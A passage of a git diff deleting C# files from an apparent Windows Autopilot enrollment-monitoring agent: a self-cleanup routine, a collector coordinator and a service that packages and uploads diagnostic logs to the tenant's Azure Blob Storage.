10 -Comment 'Autopilot enrollment completed - Autopilot Monitor is rebooting' -" : "")} -Remove-Item -Path $scriptPath -Force -ErrorAction SilentlyContinue -"; - - // Write cleanup script to temp location (outside of agent folder) - var tempScriptPath = Path.Combine(Path.GetTempPath(), $"AutopilotMonitor-Cleanup-{Guid.NewGuid()}.ps1"); - File.WriteAllText(tempScriptPath, cleanupScript); - _logger.Info($"Cleanup script written to {tempScriptPath}"); - - // Change CWD to temp so this process no longer holds a reference into - // the AutopilotMonitor folder tree - Windows won't allow renaming a - // directory that any process has as its current working directory. - try { Directory.SetCurrentDirectory(Path.GetTempPath()); } catch { } - - // Launch via cmd /c start so the powershell process is created outside the - // current Job Object (Scheduled Task job). cmd's 'start' command always - // creates a new process group that breaks job inheritance, even under SYSTEM. - var psi = new ProcessStartInfo - { - FileName = SystemPaths.Cmd, - // Absolute path to powershell.exe is passed to `start` to prevent PATH hijacking - // (the `start` builtin does its own PATH resolution for the target command). - Arguments = $"/c start \"\" /b \"{SystemPaths.PowerShell}\" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File \"{tempScriptPath}\"", - UseShellExecute = false, - CreateNoWindow = true, - WorkingDirectory = Path.GetTempPath() - }; - - Process.Start(psi); - _logger.Info("Cleanup script launched. Agent will now exit."); - } - catch (Exception ex) - { - _logger.Error("Error executing self-destruct", ex); - } - } - - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/CollectorCoordinator.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/CollectorCoordinator.cs deleted file mode 100644 index 8e928520..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/CollectorCoordinator.cs +++ /dev/null @@ -1,621 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Threading; -using System.Threading.Tasks; -using AutopilotMonitor.Agent.Core.Configuration; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Gather; -using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Periodic; -using AutopilotMonitor.Agent.Core.Monitoring.Transport; -using AutopilotMonitor.Shared; -using AutopilotMonitor.Shared.Models; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Runtime -{ - /// - /// Manages collector lifecycle: start/stop, idle detection, restart after activity, - /// max lifetime timer, gather rules, and analyzers. - /// - public class CollectorCoordinator : IDisposable - { - private readonly AgentConfiguration _configuration; - private readonly AgentLogger _logger; - private readonly string _agentVersion; - private readonly Action _emitEvent; - private readonly Action> _emitTraceEvent; - private readonly BackendApiClient _apiClient; - private readonly EventSpool _spool; - private readonly RemoteConfigService _remoteConfigService; - private readonly Func _isTerminalEventSeen; - private readonly string _previousExitType; - private readonly DateTime? _lastBootTimeUtc; - private readonly DateTime _agentStartTimeUtc; - - // Core event collectors (always on) - private EspAndHelloTracker _espAndHelloTracker; - private LogReplayService _logReplay; - - // Optional collectors (toggled via remote config) - private DeliveryOptimizationCollector _deliveryOptimizationCollector; - private StallProbeCollector _stallProbeCollector; - - // Periodic collectors + idle management - private PeriodicCollectorManager _periodicManager; - - // Smart enrollment tracking - private EnrollmentTracker _enrollmentTracker; - - // Gather rules - private GatherRuleExecutor _gatherRuleExecutor; - - // Desktop arrival / IME watcher / Network change - private DesktopArrivalDetector _desktopArrivalDetector; - private AadJoinWatcher _aadJoinWatcher; - private ImeProcessWatcher _imeProcessWatcher; - private NetworkChangeDetector _networkChangeDetector; - - // Analyzers - private AnalyzerManager _analyzerManager; - - // Max lifetime safety net - private Timer _maxLifetimeTimer; - - public CollectorCoordinator( - AgentConfiguration configuration, - AgentLogger logger, - string agentVersion, - Action emitEvent, - Action> emitTraceEvent, - BackendApiClient apiClient, - EventSpool spool, - RemoteConfigService remoteConfigService, - Func isTerminalEventSeen, - string previousExitType, - DateTime? lastBootTimeUtc, - DateTime agentStartTimeUtc) - { - _configuration = configuration; - _logger = logger; - _agentVersion = agentVersion; - _emitEvent = emitEvent; - _emitTraceEvent = emitTraceEvent; - _apiClient = apiClient; - _spool = spool; - _remoteConfigService = remoteConfigService; - _isTerminalEventSeen = isTerminalEventSeen; - _previousExitType = previousExitType; - _lastBootTimeUtc = lastBootTimeUtc; - _agentStartTimeUtc = agentStartTimeUtc; - } - - /// - /// Whether periodic collectors are currently paused due to idle timeout. - /// - public bool CollectorsIdleStopped => _periodicManager?.CollectorsIdleStopped ?? false; - - /// - /// Called from EmitEvent when a non-periodic event is received. - /// Updates idle tracking, resets stall probes, and restarts paused collectors. - /// - public void OnRealEventReceived() - { - _periodicManager?.OnRealEventReceived(); - } - - /// - /// Cancels the max lifetime timer. Called when a terminal event is seen. - /// - public void CancelMaxLifetimeTimer() - { - _maxLifetimeTimer?.Change(Timeout.Infinite, Timeout.Infinite); - } - - /// - /// Notifies the gather rule executor of a phase change. - /// - public void OnPhaseChanged(EnrollmentPhase phase) - { - try { _gatherRuleExecutor?.OnPhaseChanged(phase); } - catch (Exception ex) { _logger.Verbose($"GatherRuleExecutor.OnPhaseChanged failed: {ex.Message}"); } - } - - /// - /// Notifies the gather rule executor of an event type (for on_event triggers). - /// - public void OnEvent(string eventType) - { - try { _gatherRuleExecutor?.OnEvent(eventType); } - catch (Exception ex) { _logger.Verbose($"GatherRuleExecutor.OnEvent('{eventType}') failed: {ex.Message}"); } - } - - /// - /// Stops just the performance collector (used during WhiteGlove completion). - /// - public void StopPerformanceCollectorOnly() - { - _periodicManager?.StopPerformanceCollectorOnly(); - } - - /// - /// Notifies the enrollment tracker that desktop has arrived. - /// - public void NotifyDesktopArrived() - { - _enrollmentTracker?.NotifyDesktopArrived(); - } - - /// Backend validator verdict cached when RegisterSession completes before the - /// EnrollmentTracker is instantiated. Applied to the tracker in StartEventCollectors(). - private ValidatorType _pendingBackendValidator = ValidatorType.Unknown; - - /// - /// Forwards the backend's authoritative validator verdict to the enrollment tracker - /// so it can reconcile with its registry-based enrollment-type detection. - /// If the tracker does not yet exist (RegisterSession runs before tracker start), - /// the verdict is cached and applied when the tracker is created. - /// - public void ReconcileWithBackendValidator(ValidatorType validatedBy) - { - if (_enrollmentTracker != null) - { - _enrollmentTracker.ReconcileWithBackendValidator(validatedBy); - } - else - { - _pendingBackendValidator = validatedBy; - } - } - - /// - /// Returns true for events generated by periodic timers (not real enrollment activity). - /// - public static bool IsPeriodicEvent(string eventType) - { - return PeriodicCollectorManager.IsPeriodicEvent(eventType); - } - - public void StartEventCollectors() - { - _logger.Info("Starting event collectors"); - - try - { - var helloTimeout = _remoteConfigService?.CurrentConfig?.Collectors?.HelloWaitTimeoutSeconds - ?? _configuration.HelloWaitTimeoutSeconds; - var modernDeploymentEnabled = _remoteConfigService?.CurrentConfig?.Collectors?.ModernDeploymentWatcherEnabled ?? true; - var modernDeploymentLevelMax = _remoteConfigService?.CurrentConfig?.Collectors?.ModernDeploymentLogLevelMax ?? 3; - var modernDeploymentBackfillEnabled = _remoteConfigService?.CurrentConfig?.Collectors?.ModernDeploymentBackfillEnabled ?? true; - var modernDeploymentBackfillLookbackMinutes = _remoteConfigService?.CurrentConfig?.Collectors?.ModernDeploymentBackfillLookbackMinutes ?? 30; - var modernDeploymentHarmlessEventIds = _remoteConfigService?.CurrentConfig?.Collectors?.ModernDeploymentHarmlessEventIds; - _espAndHelloTracker = new EspAndHelloTracker( - _configuration.SessionId, - _configuration.TenantId, - _emitEvent, - _logger, - helloTimeout, - modernDeploymentWatcherEnabled: modernDeploymentEnabled, - modernDeploymentLogLevelMax: modernDeploymentLevelMax, - modernDeploymentBackfillEnabled: modernDeploymentBackfillEnabled, - modernDeploymentBackfillLookbackMinutes: modernDeploymentBackfillLookbackMinutes, - stateDirectory: @"%ProgramData%\AutopilotMonitor\State", - modernDeploymentHarmlessEventIds: modernDeploymentHarmlessEventIds - ); - _espAndHelloTracker.Start(); - - if (!string.IsNullOrEmpty(_configuration.ReplayLogDir)) - { - _logger.Info($"Log replay mode enabled - starting log replay from: {_configuration.ReplayLogDir}"); - var imeLogPatterns = _remoteConfigService?.CurrentConfig?.ImeLogPatterns; - _logReplay = new LogReplayService( - _configuration.SessionId, - _configuration.TenantId, - _emitEvent, - _logger, - _configuration.ReplayLogDir, - _configuration.ReplaySpeedFactor, - imeLogPatterns - ); - _logReplay.Start(); - _logger.Info("Log replay started"); - } - - _logger.Info("Core event collectors started successfully"); - } - catch (Exception ex) - { - _logger.Error("Error starting event collectors", ex); - } - } - - public void StartOptionalCollectors() - { - var config = _remoteConfigService?.CurrentConfig; - var collectors = config?.Collectors; - - _logger.Info("Starting collectors based on remote config"); - - try - { - _periodicManager = new PeriodicCollectorManager( - _configuration, _logger, _agentVersion, - _emitEvent, _apiClient, _spool, _remoteConfigService); - _periodicManager.Start(); - - if (collectors?.StallProbeEnabled != false) - { - var probeThresholds = collectors?.StallProbeThresholdsMinutes ?? new[] { 2, 15, 30, 60, 180 }; - var probeTraceIndices = collectors?.StallProbeTraceIndices ?? new[] { 2, 3, 4 }; - var probeSources = collectors?.StallProbeSources ?? new[] - { - "provisioning_registry", "diagnostics_registry", "eventlog", "appworkload_log" - }; - var stalledAfterIndex = collectors?.SessionStalledAfterProbeIndex ?? 4; - var harmlessMdmIds = collectors?.ModernDeploymentHarmlessEventIds ?? new[] { 100, 1005, 1010 }; - _stallProbeCollector = new StallProbeCollector( - _configuration.SessionId, - _configuration.TenantId, - _emitEvent, - _logger, - probeThresholds, - probeTraceIndices, - probeSources, - stalledAfterIndex, - harmlessMdmIds); - _logger.Info($"StallProbeCollector enabled: thresholds=[{string.Join(",", probeThresholds)}]min, traces=[{string.Join(",", probeTraceIndices)}], sources={probeSources.Length}"); - } - else - { - _logger.Info("StallProbeCollector disabled via config"); - } - - _periodicManager.StallProbeCollector = _stallProbeCollector; - - if (string.IsNullOrEmpty(_configuration.ReplayLogDir)) - { - var imeLogPatterns = config?.ImeLogPatterns; - var imeMatchLogPath = string.IsNullOrEmpty(_configuration.ImeMatchLogPath) - ? null - : Environment.ExpandEnvironmentVariables(_configuration.ImeMatchLogPath); - - _enrollmentTracker = new EnrollmentTracker( - _configuration.SessionId, - _configuration.TenantId, - _emitEvent, - _logger, - imeLogPatterns, - _configuration.ImeLogPathOverride, - imeMatchLogPath: imeMatchLogPath, - espAndHelloTracker: _espAndHelloTracker, - isBootstrapMode: _configuration.UseBootstrapTokenAuth, - sendTraceEvents: _configuration.SendTraceEvents - ); - _enrollmentTracker.Start(); - _logger.Info("EnrollmentTracker started — listening for IME patterns"); - - if (_pendingBackendValidator != ValidatorType.Unknown) - { - _enrollmentTracker.ReconcileWithBackendValidator(_pendingBackendValidator); - _pendingBackendValidator = ValidatorType.Unknown; - } - - if (_previousExitType == "reboot_kill" && _lastBootTimeUtc.HasValue) - { - _enrollmentTracker.NotifySystemRebootDetected(); - } - - if (_stallProbeCollector != null) - { - _stallProbeCollector.EspFailureDetected += (sender, failureType) => - { - try - { - _enrollmentTracker?.ReportEspFailureFromExternalSource(failureType); - } - catch (Exception ex) - { - _logger.Error("Failed to forward stall probe failure to EnrollmentTracker", ex); - } - }; - } - } - - if (collectors?.EnableDeliveryOptimizationCollector != false && _enrollmentTracker != null) - { - var doInterval = collectors?.DeliveryOptimizationIntervalSeconds ?? 3; - _deliveryOptimizationCollector = new DeliveryOptimizationCollector( - _configuration.SessionId, - _configuration.TenantId, - _emitEvent, - _logger, - doInterval, - () => _enrollmentTracker?.ImeTracker?.PackageStates, - app => _enrollmentTracker?.ImeTracker?.OnDoTelemetryReceived?.Invoke(app), - Environment.ExpandEnvironmentVariables(Constants.LogDirectory) - ); - _deliveryOptimizationCollector.Start(); - _logger.Info($"DeliveryOptimizationCollector started dormant (interval={doInterval}s, wakes on download)"); - - var existingHandler = _enrollmentTracker.ImeTracker.OnAppStateChanged; - var doCollector = _deliveryOptimizationCollector; - _enrollmentTracker.ImeTracker.OnAppStateChanged = (pkg, oldState, newState) => - { - existingHandler?.Invoke(pkg, oldState, newState); - if (newState >= AppInstallationState.Downloading && newState <= AppInstallationState.Installing) - doCollector?.WakeUp(); - }; - } - - _desktopArrivalDetector = new DesktopArrivalDetector(_logger); - _desktopArrivalDetector.DesktopArrived += OnDesktopArrived; - _desktopArrivalDetector.OnTraceEvent = (decision, reason, context) => - _emitTraceEvent("DesktopArrivalDetector", decision, reason, context); - _desktopArrivalDetector.Start(); - _logger.Info("DesktopArrivalDetector started — monitoring for real user desktop"); - - _aadJoinWatcher = new AadJoinWatcher(_logger); - _aadJoinWatcher.PlaceholderUserDetected += OnAadPlaceholderUserDetected; - _aadJoinWatcher.AadUserJoined += OnAadUserJoined; - _aadJoinWatcher.Start(); - _logger.Info("AadJoinWatcher started — monitoring JoinInfo registry for late AAD user"); - - _imeProcessWatcher = new ImeProcessWatcher( - _configuration.SessionId, - _configuration.TenantId, - _emitEvent, - _logger - ); - _imeProcessWatcher.Start(); - _logger.Info("ImeProcessWatcher started — watching for IntuneManagementExtension.exe exit"); - - _networkChangeDetector = new NetworkChangeDetector( - _configuration.SessionId, - _configuration.TenantId, - _emitEvent, - _logger, - _configuration.ApiBaseUrl - ); - _networkChangeDetector.Start(); - _logger.Info("NetworkChangeDetector started — monitoring for network changes"); - - var maxLifetimeMinutes = collectors?.AgentMaxLifetimeMinutes ?? _configuration.AgentMaxLifetimeMinutes; - if (maxLifetimeMinutes > 0) - { - _maxLifetimeTimer = new Timer( - MaxLifetimeTimerCallback, - null, - TimeSpan.FromMinutes(maxLifetimeMinutes), - Timeout.InfiniteTimeSpan); - _logger.Info($"Agent max lifetime timer armed: {maxLifetimeMinutes} min"); - } - else - { - _logger.Info("Agent max lifetime timer disabled (0)"); - } - } - catch (Exception ex) - { - _logger.Error("Error starting optional collectors", ex); - } - } - - public void StopOptionalCollectors() - { - _periodicManager?.Stop(); - - _maxLifetimeTimer?.Dispose(); - _maxLifetimeTimer = null; - - if (_desktopArrivalDetector != null) - { - _desktopArrivalDetector.DesktopArrived -= OnDesktopArrived; - _desktopArrivalDetector.Dispose(); - _desktopArrivalDetector = null; - } - - if (_aadJoinWatcher != null) - { - _aadJoinWatcher.PlaceholderUserDetected -= OnAadPlaceholderUserDetected; - _aadJoinWatcher.AadUserJoined -= OnAadUserJoined; - _aadJoinWatcher.Dispose(); - _aadJoinWatcher = null; - } - - _imeProcessWatcher?.Dispose(); - _imeProcessWatcher = null; - - _networkChangeDetector?.Dispose(); - _networkChangeDetector = null; - - _deliveryOptimizationCollector?.Stop(); - _deliveryOptimizationCollector?.Dispose(); - _deliveryOptimizationCollector = null; - - _enrollmentTracker?.Stop(); - _enrollmentTracker?.Dispose(); - _enrollmentTracker = null; - } - - public void StopEventCollectors() - { - _logger.Info("Stopping event collectors"); - - try - { - _espAndHelloTracker?.Stop(); - _espAndHelloTracker?.Dispose(); - - _logReplay?.Stop(); - _logReplay?.Dispose(); - - StopOptionalCollectors(); - - _gatherRuleExecutor?.Dispose(); - _gatherRuleExecutor = null; - - _logger.Info("Event collectors stopped"); - } - catch (Exception ex) - { - _logger.Error("Error stopping event collectors", ex); - } - } - - public void StartGatherRuleExecutor() - { - var config = _remoteConfigService?.CurrentConfig; - if (config?.GatherRules == null || config.GatherRules.Count == 0) - { - _logger.Info("No gather rules to execute"); - return; - } - - try - { - _gatherRuleExecutor = new GatherRuleExecutor( - _configuration.SessionId, - _configuration.TenantId, - _emitEvent, - _logger, - _configuration.ImeLogPathOverride - ); - _gatherRuleExecutor.UnrestrictedMode = _configuration.UnrestrictedMode; - _gatherRuleExecutor.UpdateRules(config.GatherRules); - _logger.Info($"GatherRuleExecutor started with {config.GatherRules.Count} rule(s)"); - } - catch (Exception ex) - { - _logger.Error("Error starting gather rule executor", ex); - } - } - - public void InitializeAnalyzers() - { - _analyzerManager = new AnalyzerManager(_configuration, _logger, _emitEvent, _remoteConfigService); - _analyzerManager.Initialize(); - } - - public void RunStartupAnalyzers() - { - _analyzerManager?.RunStartup(); - } - - public void RunShutdownAnalyzers(int? whiteGlovePart = null) - { - _analyzerManager?.RunShutdown(whiteGlovePart); - } - - /// - /// Updates the EnrollmentTracker's trace event setting. - /// - public void UpdateSendTraceEvents(bool sendTraceEvents) - { - _enrollmentTracker?.UpdateSendTraceEvents(sendTraceEvents); - } - - private void MaxLifetimeTimerCallback(object state) - { - if (_isTerminalEventSeen()) - { - _logger.Info("Max lifetime timer fired but terminal event already seen — ignoring"); - return; - } - - var uptimeMinutes = (DateTime.UtcNow - _agentStartTimeUtc).TotalMinutes; - _logger.Warning($"Agent max lifetime expired after {uptimeMinutes:F0} minutes — emitting enrollment_failed"); - - _emitEvent(new EnrollmentEvent - { - SessionId = _configuration.SessionId, - TenantId = _configuration.TenantId, - EventType = "enrollment_failed", - Severity = EventSeverity.Error, - Source = "MonitoringService", - Phase = EnrollmentPhase.Complete, - Message = $"Agent max lifetime expired ({uptimeMinutes:F0} min) — enrollment did not complete in time", - Data = new Dictionary - { - { "failureType", "agent_timeout" }, - { "failureSource", "max_lifetime_timer" }, - { "agentUptimeMinutes", Math.Round(uptimeMinutes, 1) } - }, - ImmediateUpload = true - }); - } - - private void OnDesktopArrived(object sender, EventArgs e) - { - if (_isTerminalEventSeen()) - { - _logger.Debug("Desktop arrived but terminal event already seen — ignoring"); - return; - } - - _emitEvent(new EnrollmentEvent - { - SessionId = _configuration.SessionId, - TenantId = _configuration.TenantId, - EventType = "desktop_arrived", - Severity = EventSeverity.Info, - Source = "DesktopArrivalDetector", - Phase = EnrollmentPhase.Unknown, - Message = "User desktop detected (explorer.exe under real user)", - ImmediateUpload = true - }); - - _enrollmentTracker?.NotifyDesktopArrived(); - } - - public void Dispose() - { - _periodicManager?.Dispose(); - _maxLifetimeTimer?.Dispose(); - _espAndHelloTracker?.Dispose(); - _logReplay?.Dispose(); - _deliveryOptimizationCollector?.Dispose(); - _enrollmentTracker?.Dispose(); - _networkChangeDetector?.Dispose(); - _gatherRuleExecutor?.Dispose(); - if (_desktopArrivalDetector != null) - { - _desktopArrivalDetector.DesktopArrived -= OnDesktopArrived; - _desktopArrivalDetector.Dispose(); - } - if (_aadJoinWatcher != null) - { - _aadJoinWatcher.PlaceholderUserDetected -= OnAadPlaceholderUserDetected; - _aadJoinWatcher.AadUserJoined -= OnAadUserJoined; - _aadJoinWatcher.Dispose(); - } - _imeProcessWatcher?.Dispose(); - } - - private void OnAadPlaceholderUserDetected(object sender, AadPlaceholderUserDetectedEventArgs e) - { - try - { - _enrollmentTracker?.NotifyAadPlaceholderUserDetected(e.UserEmail); - } - catch (Exception ex) - { - _logger.Error("CollectorCoordinator: OnAadPlaceholderUserDetected failed", ex); - } - } - - private void OnAadUserJoined(object sender, AadUserJoinedEventArgs e) - { - try - { - _enrollmentTracker?.NotifyAadUserJoinedLate(e.UserEmail); - } - catch (Exception ex) - { - _logger.Error("CollectorCoordinator: OnAadUserJoined failed", ex); - } - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/DiagnosticsPackageService.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/DiagnosticsPackageService.cs deleted file mode 100644 index ee22ac25..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/DiagnosticsPackageService.cs +++ /dev/null @@ -1,423 +0,0 @@ -using System; -using System.IO; -using System.IO.Compression; -using System.Net.Http; -using System.Text; -using System.Threading.Tasks; -using AutopilotMonitor.Agent.Core.Configuration; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.DeviceInfo; -using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Gather; -using AutopilotMonitor.Agent.Core.Monitoring.Transport; -using AutopilotMonitor.Shared; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Runtime -{ - /// - /// Result of a diagnostics package upload attempt. - /// - public class DiagnosticsUploadResult - { - /// Blob name on success, null on failure or skip. - public string BlobName { get; set; } - - /// - /// Where the blob was uploaded: "CustomerSas" or "Hosted". Verbatim - /// from the backend's upload-url response. Surfaced into the - /// diagnostics_uploaded event so the backend can stamp it on the - /// Sessions row alongside the blob name — the download path then knows - /// which storage to fetch from, even if the tenant later switches destinations. - /// Null when the upload was skipped or against a legacy backend that doesn't - /// return the field. - /// - public string Destination { get; set; } - - /// - /// First part of the SAS URL (up to and including the first query param) with the token truncated, - /// so the event shows the target container without leaking the full signature. - /// Example: "https://account.blob.core.windows.net/diagnostics?sp=(truncated)" - /// - public string SasUrlPrefix { get; set; } - - /// Human-readable error code/message when upload failed. Null on success or skip. - public string ErrorCode { get; set; } - - public bool Success => BlobName != null; - } - - /// - /// Creates and uploads a diagnostics ZIP package (agent logs + IME logs + session info) - /// to the tenant's Azure Blob Storage container via a short-lived SAS URL. - /// The SAS URL is fetched on-demand just before upload and never stored in config or on disk. - /// - public class DiagnosticsPackageService - { - private readonly AgentConfiguration _configuration; - private readonly AgentLogger _logger; - private readonly BackendApiClient _apiClient; - private readonly HttpClient _httpClient; - - private static readonly string ImeLogFolder = - Environment.ExpandEnvironmentVariables(@"%ProgramData%\Microsoft\IntuneManagementExtension\Logs"); - - private static readonly string AgentLogFolder = - Environment.ExpandEnvironmentVariables(Constants.LogDirectory); - - /// - /// File extensions collected from built-in log folders (Agent + IME). - /// Covers standard logs, structured data, traces, event logs, and diagnostics archives. - /// - private static readonly string[] LogFilePatterns = new[] - { - "*.log", "*.txt", "*.json", "*.jsonl", - "*.etl", "*.evtx", "*.xml", "*.csv", "*.cab" - }; - - public DiagnosticsPackageService(AgentConfiguration configuration, AgentLogger logger, BackendApiClient apiClient) - { - _configuration = configuration; - _logger = logger; - _apiClient = apiClient; - _httpClient = new HttpClient { Timeout = TimeSpan.FromMinutes(5) }; - } - - /// - /// Creates a diagnostics ZIP and uploads it to the configured Blob Storage container. - /// Returns a DiagnosticsUploadResult with BlobName set on success, or ErrorCode set on failure. - /// Returns null if the upload was skipped (mode=Off, not configured, or OnFailure+succeeded). - /// This method is non-fatal: all exceptions are caught and logged. - /// - /// - /// True for a successful enrollment (affects OnFailure mode check and sessioninfo.txt content). - /// Pass true for WhiteGlove pre-provisioning (it succeeded up to this point). - /// - /// - /// Optional suffix inserted before the .zip extension. - /// Example: "preprov" → AgentDiagnostics-{sessionId}-{timestamp}-preprov.zip - /// Null (default) → AgentDiagnostics-{sessionId}-{timestamp}.zip - /// - public virtual async Task CreateAndUploadAsync(bool enrollmentSucceeded, string fileNameSuffix = null) - { - try - { - // Check if upload is needed based on configuration - var mode = _configuration.DiagnosticsUploadMode ?? "Off"; - if (string.Equals(mode, "Off", StringComparison.OrdinalIgnoreCase)) - { - _logger.Debug("Diagnostics upload disabled (mode=Off)"); - return null; - } - - if (!_configuration.DiagnosticsUploadEnabled) - { - _logger.Debug("Diagnostics upload skipped: not configured for this tenant"); - return null; - } - - if (string.Equals(mode, "OnFailure", StringComparison.OrdinalIgnoreCase) && enrollmentSucceeded) - { - _logger.Info("Diagnostics upload skipped: enrollment succeeded and mode=OnFailure"); - return null; - } - - _logger.Info($"Creating diagnostics package (mode={mode}, enrollmentSucceeded={enrollmentSucceeded}{(fileNameSuffix != null ? $", suffix={fileNameSuffix}" : "")})..."); - - // Build ZIP in memory - var timestamp = DateTime.UtcNow.ToString("yyyyMMddHHmmss"); - var suffix = string.IsNullOrEmpty(fileNameSuffix) ? "" : $"-{fileNameSuffix}"; - var zipFileName = $"AgentDiagnostics-{_configuration.SessionId}-{timestamp}{suffix}.zip"; - - byte[] zipBytes; - using (var ms = new MemoryStream()) - { - using (var archive = new ZipArchive(ms, ZipArchiveMode.Create, leaveOpen: true)) - { - // 1. sessioninfo.txt - AddSessionInfo(archive, enrollmentSucceeded); - - // 2. Agent logs - foreach (var pattern in LogFilePatterns) - AddLogFiles(archive, AgentLogFolder, "AgentLogs", pattern); - - // 3. IME logs (all relevant files in the IME log folder) - foreach (var pattern in LogFilePatterns) - AddLogFiles(archive, ImeLogFolder, "ImeLogs", pattern); - - // 4. Configured additional log paths (global + tenant, validated by guards) - foreach (var entry in _configuration.DiagnosticsLogPaths ?? new System.Collections.Generic.List()) - { - // Resolve %LOGGED_ON_USER_PROFILE% token and get profile path for guard exception - var userProfilePath = UserProfileResolver.ContainsUserProfileToken(entry.Path) - ? UserProfileResolver.GetLoggedOnUserProfilePath() : null; - - if (!DiagnosticsPathGuards.IsDiagnosticsPathAllowed(entry.Path, _configuration.UnrestrictedMode, userProfilePath)) - { - _logger.Warning($"Diagnostics path blocked by guard: {entry.Path}"); - continue; - } - var expandedPath = UserProfileResolver.ExpandCustomTokens(entry.Path); - if (expandedPath == null) - { - _logger.Warning($"Diagnostics path skipped (no user session for token): {entry.Path}"); - continue; - } - var folder = Path.GetDirectoryName(expandedPath); - var pattern = Path.GetFileName(expandedPath); - if (string.IsNullOrEmpty(folder)) continue; - if (string.IsNullOrEmpty(pattern) || !pattern.Contains(".")) pattern = "*"; - var zipFolder = $"AdditionalLogs/{Path.GetFileName(folder)}"; - AddLogFiles(archive, folder, zipFolder, pattern, entry.IncludeSubfolders); - } - } - - zipBytes = ms.ToArray(); - } - - _logger.Info($"Diagnostics package created: {zipFileName} ({zipBytes.Length / 1024} KB)"); - - // Fetch a short-lived upload URL just before uploading — never stored in config or on disk - _logger.Info("Requesting diagnostics upload URL from backend..."); - var uploadUrlResponse = await _apiClient.GetDiagnosticsUploadUrlAsync( - _configuration.TenantId, - _configuration.SessionId, - zipFileName); - - if (uploadUrlResponse == null || !uploadUrlResponse.Success || string.IsNullOrEmpty(uploadUrlResponse.UploadUrl)) - { - var errorCode = uploadUrlResponse?.Message ?? "Failed to get diagnostics upload URL from backend"; - _logger.Warning($"Failed to get diagnostics upload URL from backend — skipping upload: {errorCode}"); - return new DiagnosticsUploadResult { ErrorCode = errorCode }; - } - - var sasUrlPrefix = BuildSasUrlPrefix(uploadUrlResponse.UploadUrl); - - // Resolve the final PUT target: Hosted SAS is already blob-scoped at - // {tenantId}/{filename} and must be used as-is; CustomerSas (or a null - // Destination from an older backend) is container-scoped and we append - // the blob filename ourselves. - var blobUploadUrl = BuildBlobUploadUrl(uploadUrlResponse.UploadUrl, zipFileName, uploadUrlResponse.Destination); - - // BlobName for the Sessions row: prefer the backend-supplied path because - // it encodes destination-specific layout (e.g. tenant-prefix for Hosted). - // Fall back to the local filename so the agent still works against older - // backends that don't return BlobName. - var persistedBlobName = !string.IsNullOrEmpty(uploadUrlResponse.BlobName) - ? uploadUrlResponse.BlobName - : zipFileName; - - // Upload to Blob Storage using the freshly obtained URL - var (uploaded, uploadErrorCode) = await UploadToBlobStorageAsync(zipFileName, zipBytes, blobUploadUrl); - if (uploaded) - { - _logger.Info($"Diagnostics package uploaded successfully: {persistedBlobName}"); - return new DiagnosticsUploadResult - { - BlobName = persistedBlobName, - Destination = uploadUrlResponse.Destination, - SasUrlPrefix = sasUrlPrefix, - }; - } - - return new DiagnosticsUploadResult - { - Destination = uploadUrlResponse.Destination, - SasUrlPrefix = sasUrlPrefix, - ErrorCode = uploadErrorCode, - }; - } - catch (Exception ex) - { - _logger.Warning($"Diagnostics package creation/upload failed (non-fatal): {ex.Message}"); - return new DiagnosticsUploadResult { ErrorCode = ex.Message }; - } - } - - /// - /// Returns a safe, truncated SAS URL prefix for logging — shows account/container but not the token. - /// Example: "https://account.blob.core.windows.net/diagnostics?sp=(truncated)" - /// - private static string BuildSasUrlPrefix(string sasUrl) - { - try - { - var qIndex = sasUrl.IndexOf('?'); - if (qIndex < 0) return sasUrl; - - // Keep only the first query param name to show which container/permissions are set - var basePath = sasUrl.Substring(0, qIndex); - var query = sasUrl.Substring(qIndex + 1); - var firstParam = query.Split('&')[0].Split('=')[0]; - return $"{basePath}?{firstParam}=(truncated)"; - } - catch - { - return "(url unavailable)"; - } - } - - private void AddSessionInfo(ZipArchive archive, bool enrollmentSucceeded) - { - var sb = new StringBuilder(); - sb.AppendLine($"Session ID: {_configuration.SessionId}"); - sb.AppendLine($"Tenant ID: {_configuration.TenantId}"); - sb.AppendLine($"Device Name: {Environment.MachineName}"); - sb.AppendLine($"Timestamp: {DateTime.UtcNow:O}"); - sb.AppendLine($"Enrollment Result: {(enrollmentSucceeded ? "Succeeded" : "Failed")}"); - - // Hardware info via existing DeviceInfoProvider (WMI) - sb.AppendLine($"Manufacturer: {DeviceInfoProvider.GetManufacturer()}"); - sb.AppendLine($"Model: {DeviceInfoProvider.GetModel()}"); - sb.AppendLine($"Serial Number: {DeviceInfoProvider.GetSerialNumber()}"); - - var entry = archive.CreateEntry("sessioninfo.txt"); - using var writer = new StreamWriter(entry.Open(), Encoding.UTF8); - writer.Write(sb.ToString()); - } - - private void AddLogFiles(ZipArchive archive, string sourceFolder, string zipFolder, string searchPattern, - bool includeSubfolders = false) - { - if (!Directory.Exists(sourceFolder)) - { - _logger.Debug($"Log folder not found, skipping: {sourceFolder}"); - return; - } - - try - { - var searchOption = includeSubfolders ? SearchOption.AllDirectories : SearchOption.TopDirectoryOnly; - var files = 